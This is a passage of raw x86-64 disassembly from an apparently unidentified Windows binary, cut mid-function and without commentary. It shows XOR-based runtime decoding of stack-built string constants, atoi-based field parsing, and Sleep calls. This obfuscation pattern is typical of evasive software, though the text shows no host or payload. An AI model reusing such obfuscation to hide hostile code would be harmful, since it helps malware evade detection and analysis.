lea rcx, [0x7ff7cbf934e0]
call fcn.7ff7cbf2aa6c
test al, al
je 0x7ff7cbf67c78
lea rax, [0x7ff7cbf934e0]
cmp qword [0x7ff7cbf934f8], 0x10
cmovae rax, qword [0x7ff7cbf934e0]
mov qword [0x7ff7cbf934f0], r15
mov byte [rax], r15b
lea rdx, [rbp + 0x8bc0]
lea rcx, [0x7ff7cbf93520]
call fcn.7ff7cbf2aa6c
test al, al
je 0x7ff7cbf67cb0
lea rax, [0x7ff7cbf93520]
cmp qword [0x7ff7cbf93538], 0x10
cmovae rax, qword [0x7ff7cbf93520]
mov qword [0x7ff7cbf93530], r15
mov byte [rax], r15b
mov ecx, 0xa
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e58]
sub r8, rax
mov ebx, 1
lea r9d, [rbx + 8]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf67cd0
mov byte [rax + 9], r15b
mov rdx, rax
lea rcx, [0x7ff7cbf93400]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf67da8
cmp qword [0x7ff7cbf93470], r15
je 0x7ff7cbf67da8
lea rdx, [0x7ff7cbf83e64]
lea rcx, [rbp + 0x74c0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [0x7ff7cbf93460]
lea rcx, [rbp + 0x74e0]
call fcn.7ff7cbf359c8
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf629c8
test al, al
je 0x7ff7cbf67da3
cmp qword [0x7ff7cbf93478], 0x10
lea rcx, [0x7ff7cbf93460]
cmovae rcx, qword [0x7ff7cbf93460]
call fcn.7ff7cbf4c484
mov rdx, rax
lea rcx, [rbp + 0x7500]
call fcn.7ff7cbf35cc0
mov rdx, rax
lea rcx, [rbp + 0x5230]
call fcn.7ff7cbf51da8
lea r9, [0x7ff7cbf93560]
cmp r9, rax
je 0x7ff7cbf67d97
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x5230]
call fcn.7ff7cbf376b0
mov ebx, 1
lea rdx, [0x7ff7cbf83e70]
lea rcx, [rbp + 0x84f0]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x5020]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x5040]
call fcn.7ff7cbf5b0c0
lea r9, [0x7ff7cbf934a0]
cmp r9, rax
je 0x7ff7cbf67e06
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x5040]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5020]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x7138], r15
lea rdx, [0x7ff7cbf934a0]
lea rcx, [rbp + 0x5000]
call fcn.7ff7cbf5afc8
mov byte [rsp + 0x20], r15b
mov r9b, bl
lea r8, [rbp + 0x7100]
mov rdx, rax
lea rcx, [rbp + 0x5220]
call fcn.7ff7cbf32f20
mov rdx, rax
lea rcx, [0x7ff7cbf94ae0]
call fcn.7ff7cbf380a0
lea rcx, [rbp + 0x5000]
call fcn.7ff7cbf376b0
lea rdx, [0x7ff7cbf83e88]
lea rcx, [0x7ff7cbf94ae0]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4ec0]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x4f20]
call fcn.7ff7cbf5afc8
lea r9, [0x7ff7cbf93540]
cmp r9, rax
je 0x7ff7cbf67ecf
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4f20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4ec0]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x9df0], r13
mov qword [rbp + 0x9df8], r12
movabs rax, 0x654e160fb31647d1
mov qword [rbp + 0x310], rax
movabs rax, 0xe1b652f26fc9fccb
mov qword [rbp + 0x318], rax
movdqa xmm0, xmmword [rbp + 0x310]
pxor xmm0, xmmword [rbp + 0x9df0]
movdqa xmmword [rbp + 0x310], xmm0
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x7520]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x7540]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5740]
call fcn.7ff7cbf58a40
lea r9, [0x7ff7cbf93580]
cmp r9, rax
je 0x7ff7cbf67f86
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x5740]
call fcn.7ff7cbf376b0
cmp qword [0x7ff7cbf93590], r15
jne 0x7ff7cbf68073
mov qword [rbp + 0x83e0], r13
mov qword [rbp + 0x83e8], r12
mov qword [rbp + 0x83f0], rsi
mov qword [rbp + 0x83f8], r14
movabs rax, 0x5b4d200fb31446cc
mov qword [rbp + 0xa10], rax
movabs rax, 0x8ed50d810ad7f8c1
mov qword [rbp + 0xa18], rax
movabs rax, 0x5c378c31ecda7982
mov qword [rbp + 0xa20], rax
mov qword [rbp + 0xa28], r14
movdqa xmm0, xmmword [rbp + 0xa10]
pxor xmm0, xmmword [rbp + 0x83e0]
movdqa xmmword [rbp + 0xa10], xmm0
movdqa xmm1, xmmword [rbp + 0xa20]
pxor xmm1, xmmword [rbp + 0x83f0]
movdqa xmmword [rbp + 0xa20], xmm1
lea rdx, [rbp + 0xa10]
lea rbx, [0x7ff7cbf935e0]
mov rcx, rbx
call fcn.7ff7cbf3f4b0
lea rcx, [rbp + 0x8bc0]
call fcn.7ff7cbf376b0
nop
mov dl, byte [rbp + 0x8480]
lea rcx, [rbp + 0x8488]
call fcn.7ff7cbf4d034
nop
mov dl, byte [rbp + 0x84f0]
lea rcx, [rbp + 0x84f8]
call fcn.7ff7cbf4d034
nop
jmp 0x7ff7cbf67443
mov edi, r15d
mov ebx, 1
lea rcx, [0x7ff7cbf93580]
cmp qword [0x7ff7cbf93598], 0x10
cmovae rcx, qword [0x7ff7cbf93580]
call qword [sym.imp.ucrtbase.dll_atoi]
cmp edi, eax
jge 0x7ff7cbf68235
mov r8d, edi
lea rdx, [0x7ff7cbf83e90]
lea rcx, [rbp + 0xac90]
call fcn.7ff7cbf0fbb8
lea rdx, [rbp + 0xac90]
lea rcx, [rbp + 0x7560]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x7580]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf58a40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x85a0], xmm0
mov qword [rbp + 0x85b0], rax
lea rdx, [0x7ff7cbf83e98]
lea rcx, [rbp + 0x75a0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x83e0]
lea rcx, [rbp + 0x75c0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x85a0]
call fcn.7ff7cbf6208c
mov rcx, qword [rbp + 0x85a0]
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7cbf68150
mov rcx, qword [rcx]
call qword [sym.imp.ucrtbase.dll_atoi]
mov dword [rbp + 0x9620], eax
mov rcx, qword [rbp + 0x85a0]
add rcx, 0x20
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7cbf68171
mov rcx, qword [rcx]
lea rdx, [rbp + 0x9687]
sub rdx, rcx
mov ebx, 1
mov al, byte [rcx]
mov byte [rdx + rcx], al
add rcx, rbx
test al, al
jne 0x7ff7cbf68180
mov rcx, qword [rbp + 0x85a0]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7cbf681a1
mov rcx, qword [rcx]
lea rdx, [rbp + 0x9624]
sub rdx, rcx
mov al, byte [rcx]
mov byte [rdx + rcx], al
add rcx, rbx
test al, al
jne 0x7ff7cbf681ab
mov rcx, qword [rbp + 0x85a0]
add rcx, 0x60
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7cbf681cc
mov rcx, qword [rcx]
lea rdx, [rbp + 0x96ea]
sub rdx, rcx
mov al, byte [rcx]
mov byte [rdx + rcx], al
add rcx, rbx
test al, al
jne 0x7ff7cbf681d6
mov rcx, qword [rbp + 0x85a0]
sub rcx, 0xffffffffffffff80
cmp qword [rcx + 0x18], 0x10
jb 0x7ff7cbf681f7
mov rcx, qword [rcx]
call qword [sym.imp.ucrtbase.dll_atoi]
mov dword [rbp + 0x9750], eax
lea rdx, [rbp + 0x9620]
lea rcx, [0x7ff7cbf94af0]
call fcn.7ff7cbf30ee4
lea rcx, [rbp + 0x85a0]
call fcn.7ff7cbf3ec3c
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf376b0
add edi, ebx
jmp 0x7ff7cbf6807b
lea rcx, [rbp + 0x8bc0]
call fcn.7ff7cbf376b0
nop
mov dl, byte [rbp + 0x8480]
lea rcx, [rbp + 0x8488]
call fcn.7ff7cbf4d034
nop
mov dl, byte [rbp + 0x84f0]
lea rcx, [rbp + 0x84f8]
call fcn.7ff7cbf4d034
nop
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8580]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8e00]
call fcn.7ff7cbf376b0
mov byte [rsp + 0x60], bl
movabs rdi, 0xc642deaea7eac92a
lea rbx, [0x7ff7cbf935e0]
lea rcx, [rbp + 0x8be0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x3230]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x33f0]
call fcn.7ff7cbf376b0
cmp byte [rsp + 0x60], r15b
jne 0x7ff7cbf683c7
cmp qword [0x7ff7cbf935f8], 0x10
cmovae rbx, qword [0x7ff7cbf935e0]
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
movabs rax, 0x68402805f23f05fe
mov qword [rbp + 0x9f0], rax
movabs rax, 0x95c5729d1b9afdc3
mov qword [rbp + 0x9f8], rax
movabs rax, 0x3351e258ccda6596
mov qword [rbp + 0xa00], rax
movabs rax, 0x83b916c6f2320ce0
mov qword [rbp + 0xa08], rax
movdqa xmm0, xmmword [rbp + 0x9f0]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0x9f0], xmm0
movdqa xmm1, xmmword [rbp + 0xa00]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0xa00], xmm1
mov rdx, rbx
lea rcx, [rbp + 0x9f0]
call fcn.7ff7cbf63d9c
mov ecx, 0x1388
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp + 0x89c0]
call fcn.7ff7cbf376b0
nop
mov dl, byte [rbp + 0x8400]
lea rcx, [rbp + 0x8408]
call fcn.7ff7cbf4d034
nop
jmp 0x7ff7cbf65af2
mov qword [rbp + 0x9de0], r13
mov qword [rbp + 0x9de8], r12
movabs rax, 0x6b5a3a06a01258ca
mov qword [rbp + 0x320], rax
movabs rax, 0xe1b652f26fba99d4
mov qword [rbp + 0x328], rax
movdqa xmm0, xmmword [rbp + 0x320]
pxor xmm0, xmmword [rbp + 0x9de0]
movdqa xmmword [rbp + 0x320], xmm0
lea rdx, [rbp + 0x320]
lea rcx, [0x7ff7cbf93400]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf6845f
mov edx, 0xf
lea rcx, [rbp + 0x5410]
call fcn.7ff7cbf39428
lea r9, [0x7ff7cbf93420]
cmp r9, rax
je 0x7ff7cbf68453
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x5410]
call fcn.7ff7cbf376b0
cmp qword [0x7ff7cbf93510], r15
jne 0x7ff7cbf6847b
lea rdx, [0x7ff7cbf83eac]
lea rcx, [0x7ff7cbf93500]
call fcn.7ff7cbf3f4b0
lea rdx, [0x7ff7cbf932e0]
lea rcx, [rbp + 0x75e0]
call fcn.7ff7cbf359c8
mov qword [rbp + 0x9aa0], rax
lea rdx, [0x7ff7cbf932c0]
lea rcx, [rbp + 0x7600]
call fcn.7ff7cbf359c8
mov qword [rbp + 0x9ac0], rax
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x7620]
call fcn.7ff7cbf359c8
mov qword [rbp + 0x9a90], rax
lea rdx, [0x7ff7cbf93220]
lea rcx, [rbp + 0x7640]
call fcn.7ff7cbf359c8
mov qword [rbp + 0x9a60], rax
lea rcx, [rbp + 0x9ba0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x9bb0], r15
jne 0x7ff7cbf68596
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0x9d0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0x9d8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0x9e0], rax
mov qword [rbp + 0x9e8], r14
movdqa xmm0, xmmword [rbp + 0x9d0]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0x9d0], xmm0
movdqa xmm1, xmmword [rbp + 0x9e0]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0x9e0], xmm1
lea rdx, [rbp + 0x9d0]
mov rcx, rbx
call fcn.7ff7cbf3f4b0
jmp 0x7ff7cbf6eafd
mov qword [rbp + 0x9b80], r13
mov qword [rbp + 0x9b88], r12
mov qword [rbp + 0x9b90], rsi
mov qword [rbp + 0x9b98], r14
movabs rax, 0x654b1608b10740c6
mov qword [rbp + 0xf30], rax
movabs rax, 0x8fdf3a910ed7c6c8
mov qword [rbp + 0xf38], rax
movabs rax, 0x5c378c31ecae1792
mov qword [rbp + 0xf40], rax
mov qword [rbp + 0xf48], r14
movdqa xmm0, xmmword [rbp + 0xf30]
pxor xmm0, xmmword [rbp + 0x9b80]
movdqa xmmword [rbp + 0xf30], xmm0
movdqa xmm1, xmmword [rbp + 0xf40]
pxor xmm1, xmmword [rbp + 0x9b90]
movdqa xmmword [rbp + 0xf40], xmm1
lea rdx, [rbp + 0xf30]
lea rcx, [rbp + 0x7660]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x9ba0]
lea rcx, [rbp + 0x7680]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x92a0]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x8660], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x8670], xmm0
lea rdx, [rbp + 0x9ba0]
lea rcx, [rbp + 0x76a0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9dc0], r13
mov qword [rbp + 0x9dc8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], r12
movdqa xmm0, xmmword [rbp + 0x330]
pxor xmm0, xmmword [rbp + 0x9dc0]
movdqa xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x76c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x92a0]
lea rcx, [rbp + 0x76e0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9db0], r13
mov qword [rbp + 0x9db8], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], r12
movdqa xmm0, xmmword [rbp + 0x340]
pxor xmm0, xmmword [rbp + 0x9db0]
movdqa xmmword [rbp + 0x340], xmm0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x7700]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a60]
lea rcx, [rbp + 0x7720]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9da0], r13
mov qword [rbp + 0x9da8], r12
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], r12
movdqa xmm0, xmmword [rbp + 0x350]
pxor xmm0, xmmword [rbp + 0x9da0]
movdqa xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x7740]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9a90]
lea rcx, [rbp + 0x7760]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9d90], r13
mov qword [rbp + 0x9d98], r12
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], r12
movdqa xmm0, xmmword [rbp + 0x360]
pxor xmm0, xmmword [rbp + 0x9d90]
movdqa xmmword [rbp + 0x360], xmm0
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x7780]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9ac0]
lea rcx, [rbp + 0x77a0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9c40], r13
mov qword [rbp + 0x9c48], r12
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x378], r12
movdqa xmm0, xmmword [rbp + 0x370]
pxor xmm0, xmmword [rbp + 0x9c40]
movdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x77c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x9aa0]
lea rcx, [rbp + 0x77e0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0x9c60], r13
mov qword [rbp + 0x9c68], r12
movabs rax, 0x4294963b6064cc1
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], r12
movdqa xmm0, xmmword [rbp + 0x380]
pxor xmm0, xmmword [rbp + 0x9c60]
movdqa xmmword [rbp + 0x380], xmm0
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x7800]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8660]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4820]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x8660]
lea rdx, [rbp + 0x4820]
lea rcx, [rbp + 0x8f80]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4820]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0x9c70], r13
mov qword [rbp + 0x9c78], r12
movabs rax, 0x45b2617bb0c47c8
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], r12
movdqa xmm0, xmmword [rbp + 0x390]
pxor xmm0, xmmword [rbp + 0x9c70]
movdqa xmmword [rbp + 0x390], xmm0
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x7820]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8f80]
lea rcx, [rbp + 0x7840]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8f60]
call fcn.7ff7cbf58a40
cmp qword [rbp + 0x8f70], r15
je 0x7ff7cbf6e8c1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8988], xmm0
mov qword [rbp + 0x8998], rax
lea rdx, [0x7ff7cbf83e98]
lea rcx, [rbp + 0x7860]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8f60]
lea rcx, [rbp + 0x7880]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8988]
call fcn.7ff7cbf6208c
mov rax, qword [rbp + 0x8988]
mov qword [rsp + 0x68], rax
mov rcx, qword [rbp + 0x8990]
mov qword [rbp + 0x9ab0], rcx
cmp rax, rcx
je 0x7ff7cbf6e8b5
movabs rbx, 0x70092d06be0b49c3
mov rdx, rax
lea rcx, [rbp + 0x8ca0]
call fcn.7ff7cbf359c8
lea rdx, [0x7ff7cbf7ea70]
lea rcx, [rbp + 0x8ca0]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf69d05
mov ecx, 2
call fcn.7ff7cbf78368
mov word [rax], 0x32
mov rdx, rax
lea rcx, [rbp + 0x78a0]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x99e0], rax
mov qword [rbp + 0x8500], r15
mov qword [rbp + 0x8510], r15
mov qword [rbp + 0x8518], 0xf
lea rcx, [rbp + 0x8dc0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8dd0], r15
jne 0x7ff7cbf68bd2
mov qword [rbp + 0xac70], r13
mov qword [rbp + 0xac78], r12
mov qword [rbp + 0xac80], rsi
mov qword [rbp + 0xac88], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xf10], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xf18], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xf20], rax
mov qword [rbp + 0xf28], r14
movdqa xmm0, xmmword [rbp + 0xf10]
pxor xmm0, xmmword [rbp + 0xac70]
movdqa xmmword [rbp + 0xf10], xmm0
movdqa xmm1, xmmword [rbp + 0xf20]
pxor xmm1, xmmword [rbp + 0xac80]
movdqa xmmword [rbp + 0xf20], xmm1
lea rdx, [rbp + 0xf10]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf3f4b0
movups xmm0, xmmword [rbp + 0x8500]
movups xmmword [rbp + 0x85d8], xmm0
movups xmm1, xmmword [rbp + 0x8510]
movups xmmword [rbp + 0x85e8], xmm1
mov qword [rbp + 0x8510], r15
mov qword [rbp + 0x8518], 0xf
mov byte [rbp + 0x8500], r15b
jmp 0x7ff7cbf68fc2
mov qword [rbp + 0xa8c0], r13
mov qword [rbp + 0xa8c8], r12
movabs rax, 0x614520058d164dc2
mov qword [rbp + 0x3a0], rax
movabs rax, 0xe1b652f21bdbebf9
mov qword [rbp + 0x3a8], rax
movdqa xmm0, xmmword [rbp + 0x3a0]
pxor xmm0, xmmword [rbp + 0xa8c0]
movdqa xmmword [rbp + 0x3a0], xmm0
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x78c0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8dc0]
lea rcx, [rbp + 0x78e0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x9320]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x86e0], r15
mov qword [rbp + 0x86f0], r15
mov qword [rbp + 0x86f8], 0xf
lea rdx, [rbp + 0x8dc0]
lea rcx, [rbp + 0x7900]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa8b0], r13
mov qword [rbp + 0xa8b8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], r12
movdqa xmm0, xmmword [rbp + 0x3b0]
pxor xmm0, xmmword [rbp + 0xa8b0]
movdqa xmmword [rbp + 0x3b0], xmm0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x7920]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86e0]
call fcn.7ff7cbf58f9c
lea rdx, [rbp + 0x9320]
lea rcx, [rbp + 0x7940]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa8a0], r13
mov qword [rbp + 0xa8a8], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], r12
movdqa xmm0, xmmword [rbp + 0x3c0]
pxor xmm0, xmmword [rbp + 0xa8a0]
movdqa xmmword [rbp + 0x3c0], xmm0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x7960]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86e0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x7980]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa890], r13
mov qword [rbp + 0xa898], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0x3d8], r12
movdqa xmm0, xmmword [rbp + 0x3d0]
pxor xmm0, xmmword [rbp + 0xa890]
movdqa xmmword [rbp + 0x3d0], xmm0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x79a0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86e0]
call fcn.7ff7cbf58f9c
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x79c0]
call fcn.7ff7cbf359c8
mov rbx, rax
mov qword [rbp + 0xa880], r13
mov qword [rbp + 0xa888], r12
movabs rax, 0x4294963a4014dd7
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], r12
movdqa xmm0, xmmword [rbp + 0x3e0]
pxor xmm0, xmmword [rbp + 0xa880]
movdqa xmmword [rbp + 0x3e0], xmm0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x79e0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x86e0]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4840]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x86e0]
lea rdx, [rbp + 0x4840]
lea rcx, [rbp + 0x88d8]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4840]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0xa870], r13
mov qword [rbp + 0xa878], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x3f0], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x3f8], rax
movdqa xmm0, xmmword [rbp + 0x3f0]
pxor xmm0, xmmword [rbp + 0xa870]
movdqa xmmword [rbp + 0x3f0], xmm0
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x7a00]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x88d8]
lea rcx, [rbp + 0x7a20]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x8de0]
call fcn.7ff7cbf58a40
cmp qword [rbp + 0x8df0], r15
jne 0x7ff7cbf68f40
movups xmm0, xmmword [rbp + 0x88d8]
movups xmm1, xmmword [rbp + 0x88e8]
mov qword [rbp + 0x88e8], r15
mov qword [rbp + 0x88f0], 0xf
mov byte [rbp + 0x88d8], r15b
jmp 0x7ff7cbf68f7a
lea rdx, [rbp + 0x8de0]
lea rcx, [0x7ff7cbf935e0]
call fcn.7ff7cbf380f4
movups xmm0, xmmword [rbp + 0x8500]
movups xmm1, xmmword [rbp + 0x8510]
mov qword [rbp + 0x8510], r15
mov qword [rbp + 0x8518], 0xf
mov byte [rbp + 0x8500], r15b
movups xmmword [rbp + 0x85d8], xmm0
movups xmmword [rbp + 0x85e8], xmm1
lea rcx, [rbp + 0x8de0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x88d8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x86e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9320]
call fcn.7ff7cbf376b0
movabs rbx, 0x70092d06be0b49c3
lea rcx, [rbp + 0x8dc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8500]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x99e0]
call fcn.7ff7cbf376b0
cmp qword [rbp + 0x85e8], r15
jne 0x7ff7cbf69647
movabs rcx, 0x84da309301dfb9c9
movabs rdx, 0x3d45ac5d80ca3793
movabs r8, 0xf1dc5ec8a92459b8
movabs r9, 0xccec465fcd4509d9
mov qword [rbp + 0x9ff0], r13
mov qword [rbp + 0x9ff8], r12
mov qword [rbp + 0xa000], rsi
mov qword [rbp + 0xa008], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0xa010], rax
mov qword [rbp + 0xa018], rdi
mov qword [rbp + 0x12e0], rbx
mov qword [rbp + 0x12e8], rcx
mov qword [rbp + 0x12f0], rdx
mov qword [rbp + 0x12f8], r8
mov qword [rbp + 0x1300], r9
mov qword [rbp + 0x1308], rdi
movdqa xmm0, xmmword [rbp + 0x12e0]
pxor xmm0, xmmword [rbp + 0x9ff0]
movdqa xmmword [rbp + 0x12e0], xmm0
